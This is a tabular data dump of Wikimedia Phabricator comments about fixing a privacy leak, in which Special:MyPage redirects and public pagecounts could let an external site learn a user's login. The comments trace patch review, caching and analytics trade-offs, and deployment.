+[[https://gerrit.wikimedia.org/r/259943]]",,,1450402385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581046,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259909 merged by Reedy:
+SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak
+
+[[https://gerrit.wikimedia.org/r/259909]]",,,1450402369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581045,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259942 merged by Chad:
+SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak
+
+[[https://gerrit.wikimedia.org/r/259942]]",,,1450402366,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581026,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259921 merged by Chad:
+Add $query to JavaScript redirect info
+
+[[https://gerrit.wikimedia.org/r/259921]]",,,1450400853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581025,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259920 merged by Chad:
+SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak
+
+[[https://gerrit.wikimedia.org/r/259920]]",,,1450400839,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581001,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259952 had a related patch set uploaded (by Chad):
+Add $query to JavaScript redirect info
+
+[[https://gerrit.wikimedia.org/r/259952]]
+",,,1450399247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+581000,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259951 had a related patch set uploaded (by Chad):
+SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak
+
+[[https://gerrit.wikimedia.org/r/259951]]
+",,,1450399246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+565931,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> {F2977061}
+
+LGTM. Deployed.
+
+22:31 csteipp: deployed followup for T109724",,,1447972340,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+565913,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Tested and patchified @matmarex's fix above.
+
+{F2977061}
+
+The GuidedTour parameters (and any other whitelisted parameters) are now preserved in the JS replaceState: {T118823}",,,1447971408,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,20,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+565726,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"The patch incorrectly drops query parameters from the URL set in `wgInternalRedirectTargetUrl`, causing T118823.
+```
++						$output->addJsConfigVars( array(
++							'wgInternalRedirectTargetUrl' => $target->getFullURL(),
++						) );
+```
+This should probably use `$target->getFullURL( $query )`?",,,1447959210,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,20,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1
+558303,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Mmmmm I mean if you mentioned this on analytics-l, where you're likely to hit most people that would be potentially confused by the change, everyone will ask questions.  So my suggestion is that if we don't want to talk about the potential hole we shouldn't mention anything.",,,1446670657,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,17,True,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0
+557614,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I wonder if we should advertise that stats are handling these types of special pages differently (Not the reason for doing so, just that we are doing so). Some users might be confused by this change. Perhaps a line in tech news would be appropriate. Thoughts?",,,1446592705,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+557472,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Patch is deployed
+20:45 csteipp: deployed patch for T109724 to wmf4/5",,,1446583585,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+555739,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1769596, @Milimetric wrote:
+> So do we know if this needs analytics attention or changes to our pipeline anymore?  Or does the patch work ok with the current flow?
+
+It should work fine with current flow.",,,1446244783,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+555524,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,So do we know if this needs analytics attention or changes to our pipeline anymore?  Or does the patch work ok with the current flow?,,,1446226516,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,17,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+554860,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1756196, @Bawolff wrote:
+> {F2879417}
+
+Changes from my patch look good to me.
+* Changing getAction to use a private property instead of a static should be safe, and shouldn't hurt performance much. There should only be one MediaWiki object created for each requests.
+* Setting the cache with lowerCdnMaxage(0) I think is what we want. Although we would usually use setSquidMaxage(0), using lowerCdnMaxage will prevent the target from setting a non-zero squid maxage, which is what we want in this case. Although @Aaron, if you think that's abusing the functionality, let me know.
+* Setting $wgTitle. Yep, I forgot that.",,,1446144158,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,1,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1
+554159,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"One other thing to note about this patch, is that it disables varnish cache for those pages. I don't think this is much of an issue since anons are unlikely to view Special:MyPage in great number, but its always good to note up-front anytime a patch messes with caching.",,,1446067222,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+552718,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2879417}
+
+Mostly looks good. I changed the following:
+* set $wgTitle for older code (including the likes of EditPage.php)
+* Reset the cached version of what the action is, in case it changes after redirect (e.g. Special:MyPage?action=edit should work)
+* Disable squid cache for these pages (They vary by what user is accessing them, even for anons, so not safe to store in squid).
+
+Other thoughts:
+* Maybe the default should be that the redirect is personally identifiable. If someone forgets to set it, better to err on the side of secure. Also most of them seem to be of this nature.
+* I'm not really sure if we have to include Special:MyLanguage. The threat of linking someone's IP address to the language set in Special:Preferences seems rather limited. But I go back and forth on that in my head.",,,1445916391,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,0
+551026,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"We're trying to make graphite data more public, so probably not.
+Eventlogging would work, and be pretty trivial to implement.",,,1445606735,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+550857,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,could we make graphite metrics count those hits?,,,1445563235,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+550219,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2753521}
+
+I think leaving out Special:MyLanguage open isn't a good option. Updated patch. @Jdforrester-WMF, we'll have to find your team another way to count hits to the language versions of that page.",,,1445486764,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+543801,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1706292, @csteipp wrote:
+> {F2662435}
+
+@bawolff, have time for a code review at some point?
+
+I did leave out Special:MyLanguage redirects explicitly. That could let an attacker narrow down who they sent to the page, but that seems both harder to get useful information from, and would hurt the editing team (among others, I suspect). So I'm on the fence if it's worth it.",,,1444340732,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,14,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,1,0,1
+542133,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2662435}
+
+Built on @Bawolff's patch, but let individual classes specify if they should use this behavior. And added site config so it can be disabled for sites that don't make their stats public.",,,1444156261,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,13,True,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0
+541663,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"In testing @Bawolff's patch, realized that is redirecting a lot of pages that we don't need to redirect. Things like Special:ListAdmins, Special:CreateAccount, Special:BetaFeatures. Should we restrict the soft-redirect to classes that contain ""my"" in the name? Or probably a little less fragile, have each of the private ones implement a ""PrivateRedirect"" interface, and test for that instead of the relatively generic RedirectSpecialPage?",,,1444090510,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,13,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0
+541437,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> Note however that discarding page counts of Special:MyLanguage redirects would be a real pity as those are the principal entry point for some policy pages. I think for example of https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide (declaring my interest! ;-)).
+
+@Jdforrester-WMF, do you need to track non-existent translations too?",,,1444071094,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,13,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0
+534015,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Confirming that I'm content with a app-level (non-HTTP) redirect being used for Special:MyPage in the same way as we changed #REDIRECT to work last year.
+
+I think that instead of ""(redirected from Special:MyPage)"" if we said ""(This is your account's version of Special:MyPage.)"" or somesuch we could reduce confusion completely, but that's a bonus, and not necessary to make this change.
+
+Note however that discarding page counts of Special:MyLanguage redirects would be a real pity as those are the principal entry point for some policy pages. I think for example of https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide (declaring my interest! ;-)).",,,1443079833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,12,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+533966,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp thank you for the offline explanation.  This is fine from a reading perspective.  have you checked with @Jdforrester-WMF?  Since this impacts logged in users, it is mostly his jurisdiction from an audience perspective.",,,1443069655,,PHID-USER-izqileijt5niumtehazh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+533956,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp I reviewed the thread and cannot think of any implication whatsoever of this change for Research, thanks for checking.",,,1443067725,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,12,True,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+531973,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@jkatzwmf and @dartar, ping? Let me know if I should schedule 20 mins to chat / demo, and I can walk you through it.",,,1442868041,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0
+528896,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1606920, @JKatzWMF wrote:
+> @csteipp when we say soft redirect, that means the user has to click again?  If so, then soft redirects are not a workable solution.  This is a pretty bad user experience, so unless there was a direct breach or urgent need, I hope an alternative will work.
+
+@JKatzWMF,  from the description at https://phabricator.wikimedia.org/T109724#1610437, so no extra click required, does that seem palatable from a product perspective?
+
+@DarTar, if we make this a soft redirect, so we only store a hit to Special:MyPage/whatever instead of the specific User:whatever, is that OK for research?
+
+If so, I'll keep working on bawolff's patch, and try to get that deployed this week.",,,1442437199,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+528170,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I think I see the problem you guys are trying to solve, but it sounds like it's mostly in your domain now.  If you think I can help, please grab me in IRC or set up a meeting.",,,1442369277,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+526756,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1637303, @csteipp wrote:
+>> Well this solution does seem kind of icky due to all the special casing very early in the MW setup process, I will admit its elegant in that
+>> * Not specific to our setup. Would work with other analytic setups that third parties might use.
+>> * Does not require extra url parameters that user's could forge, or really long ugly tokens.
+>> * Would allow us to do something like ""redirected from Special:MyPage"", although this patch does not do that (or other things like setting rel=canonical link)
+> 
+> I'm starting to think this might be the way to go, since I think this would also prevent the attack on very low traffic wikis where there might only be a handful of visits to User: namespace pages in an hour, so even sending the user to just Special:MyPage could leak that the user was one of small subset of users.
+
+ - The Special:MyPage problem would be solved equally with the url parameter+`X-analytic:dnt=1` response header method and this method.
+ - If another installation than wikimedia ones is also using cache, their cache method must also be updated to proper work. So the public analytics work become a parametrize cache work for them. And cache is known to be a hard problem.
+ - I wonder if some mediawiki extensions don't keep track of visit page counts and if they should not be updated too if necessary. 
+
+About url parameter forging, I don't think it's a concern because the meaning of this parameter is don't publish stats about my visit on this page. A pretty similar behavior could be done with an api request",,,1442246808,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+526734,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1634244, @Krenair wrote:
+>>>! In T109724#1633632, @Bawolff wrote:
+>> How do I attach a patch to a bug in phab? I think I'm missing something obvious
+> 
+> Same way as you attached other files: Drag it into the comment area.
+
+See also {T165}. If you're affected by that bug, the alternative is to go to https://phabricator.wikimedia.org/file/upload/ and upload the file (being sure to set the permissions to ""No One"") and then copy-paste the resulting F-number into the textbox  like `{F123}`.",,,1442245746,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+526713,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1634944, @Bawolff wrote:
+> 
+>> 
+>> My question is when using the X-analytics:dnt=1 header, where does and where does not appear the visit on the different log and stats? To avoid the leak, the only thing it needs is not appear in page counts. It can still appear on all wikimedia logs and stats. So I thought that setting the header would just remove it from page counts and so would not impact other internal stats as the ones needed for ""tracking visiting stats of the target of Special:MyLanguage"" but maybe I'm wrong.
+> 
+> Oh my bad, I was using page stats and the public page counts as synonyms. I meant just the public page counts (e.g.the stuff on dumps.wikimedia.org , stats.grok.se etc)
+
+But this public page counts don't really need the count of Special:MyLanguage redirection. Does they ?",,,1442244528,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+526699,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">I'm starting to think this might be the way to go, since I think this would also prevent the attack on very low traffic wikis where there might only be a handful of visits to User: namespace pages in an hour, so even sending the user to just Special:MyPage could leak that the user was one of small subset of users.
+
